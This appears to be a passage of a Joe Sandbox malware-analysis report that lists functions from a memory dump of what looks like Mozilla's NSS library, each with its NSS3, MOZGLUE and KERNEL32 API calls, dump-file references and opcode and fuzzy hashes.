free.MOZGLUE(00000000), ref: 6C7AEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7AF016
free.MOZGLUE(00000000), ref: 6C7AF022

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: f93a7f44fc8bca8d5e9ff4f3004b92a8dd31800c26dda5a6318abc1bca3bb6a6
Instruction ID: 9bdd7d257898780588dab47f6d8778b8eb44ce1930af9f0b0bca7065d0750c80
Opcode Fuzzy Hash: f93a7f44fc8bca8d5e9ff4f3004b92a8dd31800c26dda5a6318abc1bca3bb6a6
Instruction Fuzzy Hash: 8C4181B1E00209AFDF018FE9DD45AEF7BB9EB48358F004135F914A6351E771D9168BA1

Function 6C812640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6C7E99E8,00000000,00000000,?,?,?,?), ref: 6C81267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6C7E99E8,00000000,00000000,?,?,?,?), ref: 6C81269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6C7E99E8,00000000,00000000,?), ref: 6C8126AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7E99E8), ref: 6C812714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6C7E99E8,00000000,00000000,?,?,?,?,?), ref: 6C812737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C812750

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: a945f38ff075258a09958584e252f753a4a16203d628d1f966e7cfba15663577
Instruction ID: 22bd73cb438da804a21099401e8c9b6617e97abd7d055b79ddbc6d1c42cd6ba5
Opcode Fuzzy Hash: a945f38ff075258a09958584e252f753a4a16203d628d1f966e7cfba15663577
Instruction Fuzzy Hash: F5418A32A0410DAFCF249EA8CD84AEE77B5FF89308F554528F91967A50D731EC54CB90

Function 6C7E0720 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C7E175E,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000,?,6C7E175E,00000000), ref: 6C7E0738

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

NSS_CMSSignedData_Destroy.NSS3(5304C483,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000,?,6C7E175E,00000000), ref: 6C7E075C

Part of subcall function 6C7E3630: CERT_DestroyCertificate.NSS3(6C7E175E,?,6C7E175E,?,00000000,?,6C7E0761,5304C483,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000,?,6C7E175E), ref: 6C7E3661
Part of subcall function 6C7E3630: CERT_DestroyCertificate.NSS3(6C7E175E,?,6C7E175E,?,00000000,?,6C7E0761,5304C483,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000,?,6C7E175E), ref: 6C7E3681
Part of subcall function 6C7E3630: PORT_FreeArena_Util.NSS3(6C8CCA90,00000000,?,6C7E175E,?,00000000,?,6C7E0761,5304C483,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000), ref: 6C7E36A5

PORT_ArenaUnmark_Util.NSS3(?,5304C483,6C7E175E,?,?,6C7E2F23,6C7E175E,00000000,?,6C7E175E,00000000), ref: 6C7E0794
free.MOZGLUE(850C478B,6C7E175E,00000000), ref: 6C7E07D0
PK11_FreeSymKey.NSS3(890473C1,6C7E175E,00000000), ref: 6C7E07E8

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DestroyUtil$CertificateErrorFreeHashLookupTable$ArenaArena_ConstData_FindK11_SignedUnmark_free
String ID:
API String ID: 4228047643-0
Opcode ID: 8e90044c3b7a41aa7e455db01c38565e9841647b913919f06d4e4121220a0e8a
Instruction ID: bac30fabda74af674031f79e7962ac2592b8235bd325acb45ed012f51554f8e7
Opcode Fuzzy Hash: 8e90044c3b7a41aa7e455db01c38565e9841647b913919f06d4e4121220a0e8a
Instruction Fuzzy Hash: 1A31D5B7A017819BEF108A7B9A48707B7A5BF48628F154138D82997F00EF31F4249FD2

Function 6C79CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C79CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C79D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C79D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C79D025
PR_NewLock.NSS3 ref: 6C79D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C79D074

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: df00ef3378ebffe5f59bbc8477ba2269a234ba212747add337c522fa98f8d0bb
Instruction ID: d885752772d619aa4e9e7f2209542304c151ccee161ede9bdb4d8f0d6d60f2f4
Opcode Fuzzy Hash: df00ef3378ebffe5f59bbc8477ba2269a234ba212747add337c522fa98f8d0bb
Instruction Fuzzy Hash: 3C41AEB1A012118FDB10DF2DEA8579ABBA4AF18318F10417ADC1D8BB46D774D885CBE5

Function 6C7865D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6C78660F

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

free.MOZGLUE(00000000), ref: 6C786660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C78667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6C78669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6C7866B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7866C8

Part of subcall function 6C7B25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?,?), ref: 6C7B2670
Part of subcall function 6C7B25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?), ref: 6C7B2684
Part of subcall function 6C7B25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7B26C2
Part of subcall function 6C7B25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7B26E0
Part of subcall function 6C7B25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7B26F4
Part of subcall function 6C7B25D0: PR_Unlock.NSS3(?), ref: 6C7B274D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: 94d0c5eb104e4e13e557cfa2904b2277a56fb14b40fc1a25412881484e1a920e
Instruction ID: c12f3bee619dca69c6348557dbad1aea2e16ea3e0b338f17d4318e4b01071c42
Opcode Fuzzy Hash: 94d0c5eb104e4e13e557cfa2904b2277a56fb14b40fc1a25412881484e1a920e
Instruction Fuzzy Hash: CF3132B5A01259ABDB00CFA8D985AAE77F4AF49358F150038ED15EB705E731EA04CBA1

Function 6C782E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C772D1A), ref: 6C782E7E

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

PR_Now.NSS3 ref: 6C782EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C782EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C772D1A), ref: 6C782F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C772D1A), ref: 6C782F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C782F81

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: dbf33755e1961376bc859a043b8756a7964048b9a7f7e549ea18303b3a729a3b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 6D31F3715031048BE710C665DE4CFAEB269EF8032AF64097AD629D7AD1EB31998AC621

Function 6C770E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C770A2C), ref: 6C770E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C770A2C), ref: 6C770E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C770A2C), ref: 6C770E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C770A2C), ref: 6C770E90
free.MOZGLUE(00000000), ref: 6C770EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C770A2C), ref: 6C770ED9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 4ed24f95403d7d1f3338b0f6196521122ba794be8b197488ea45beffe448d5da
Instruction ID: a88ff40b3ba9b94c28d6beb844c16cad50cec65c02ce570d88ef1c2f9bb13ead
Opcode Fuzzy Hash: 4ed24f95403d7d1f3338b0f6196521122ba794be8b197488ea45beffe448d5da
Instruction Fuzzy Hash: F2212E72B0028C57EF3065769E49B6B72AEDBC1748F194035D81853B42EAE2D81482B1

Function 6C77AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C77AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C77AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C77AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C77AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C899500), ref: 6C77AF23

Part of subcall function 6C7CF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C7CF0C8
Part of subcall function 6C7CF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7CF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77AF37

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 185c613ea651363058e662ead888cc51e2dd6bd01095f9c0be3194c99d276fbc
Instruction ID: b5607a6d8b6eb8dd2ccc1709ca6656f1bb8f72ac2fed79c1be957535f1c222d7
Opcode Fuzzy Hash: 185c613ea651363058e662ead888cc51e2dd6bd01095f9c0be3194c99d276fbc
Instruction Fuzzy Hash: 062128B29092049BFF208E188E01B9A7BE4AF8573CF144728EC589B781E731D54887B3

Function 6C7FEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7FEE85
realloc.MOZGLUE(5892708D,?), ref: 6C7FEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7FEEC5

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

htonl.WSOCK32(?), ref: 6C7FEEE3
htonl.WSOCK32(00000000,?), ref: 6C7FEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7FEF01

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 98070ecdae83e1dfc767fc94a3895d6bcc3d3d947fcd11721ae2fe30d4b76f36
Instruction ID: 3413cae97319cb2a6a91c7f58506d456fdd1338e72f39c4192caf87e500ddb5b
Opcode Fuzzy Hash: 98070ecdae83e1dfc767fc94a3895d6bcc3d3d947fcd11721ae2fe30d4b76f36
Instruction Fuzzy Hash: 5621D671A002189FDB209F28DDC475A77A8EF45358F158139EC199B741D330ED15C7E2

Function 6C7AEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7AEE49

Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7AEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C7AEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C7AEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7AEEB3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: a5b26b4bfb7332f09be47131540e118198577f02cc4bd3e88d8f2258f1c3a253
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: F82105B6A04215ABEB019E58ED89EABB7ACEF45708F040274FD049B301E771DC2587F1

Function 6C7D2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C7D2576
PORT_Alloc_Util.NSS3(00000000), ref: 6C7D2585

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6C7D25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6C7D25AF
free.MOZGLUE(00000000), ref: 6C7D25BB
free.MOZGLUE(00000000), ref: 6C7D25CA

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: 65693a8e542a09bc95ede4439cf9ef7813fa84943a6817462241dc3480371755
Instruction ID: 758265e532629a67938357f826e3db26d921ef170cc1017ee3515e5512cce4ab
Opcode Fuzzy Hash: 65693a8e542a09bc95ede4439cf9ef7813fa84943a6817462241dc3480371755
Instruction Fuzzy Hash: 9601F5B17052017BFF2027759D1DE7B365CDB426A9F160130BC2AC5A82E960ED0186F1

Function 6C8886C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C8886DE

Part of subcall function 6C760F00: PR_GetPageSize.NSS3(6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F1B
Part of subcall function 6C760F00: PR_NewLogModule.NSS3(clock,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F25

PR_Lock.NSS3 ref: 6C888700

Part of subcall function 6C839BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C761A48), ref: 6C839BB3
Part of subcall function 6C839BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C761A48), ref: 6C839BC8

getprotobyname.WSOCK32(?), ref: 6C888709
GetLastError.KERNEL32(?), ref: 6C888717
PR_GetCurrentThread.NSS3(?,?), ref: 6C88871F
PR_Unlock.NSS3(?,?), ref: 6C88873A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: 3d646b30eda931f96d5b37dd4b7a2609e3389602d42d5bf47a42b31572abe7fe
Instruction ID: 97b0501dcc1df3c5c62f4fcbf1fb9b8e0a089de56c58d440f37c7169d485900d
Opcode Fuzzy Hash: 3d646b30eda931f96d5b37dd4b7a2609e3389602d42d5bf47a42b31572abe7fe
Instruction Fuzzy Hash: AD11E176A251309BCB30AFB9AA4458A3674AF46338F064776EC0997FA1C7309C05CBC5

Function 6C75C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C75C4F0
free.MOZGLUE ref: 6C75C51A
TlsSetValue.KERNEL32 ref: 6C75C540
free.MOZGLUE ref: 6C75C557
DeleteCriticalSection.KERNEL32 ref: 6C75C56A
free.MOZGLUE ref: 6C75C576

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 977c79c474ed78e79455b068bbc1b1867301c070462b14973abd270e6e1932b0
Instruction ID: bf3c237f93dbe0c20af0ed2b862fb1aab7296738b6202d1f2fb4496c4e121dc4
Opcode Fuzzy Hash: 977c79c474ed78e79455b068bbc1b1867301c070462b14973abd270e6e1932b0
Instruction Fuzzy Hash: 7A114FB4504B008BDB20BF79C14C25ABBF4BF45749F45093DD8C683A01EB309555CBC2

Function 6C77E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

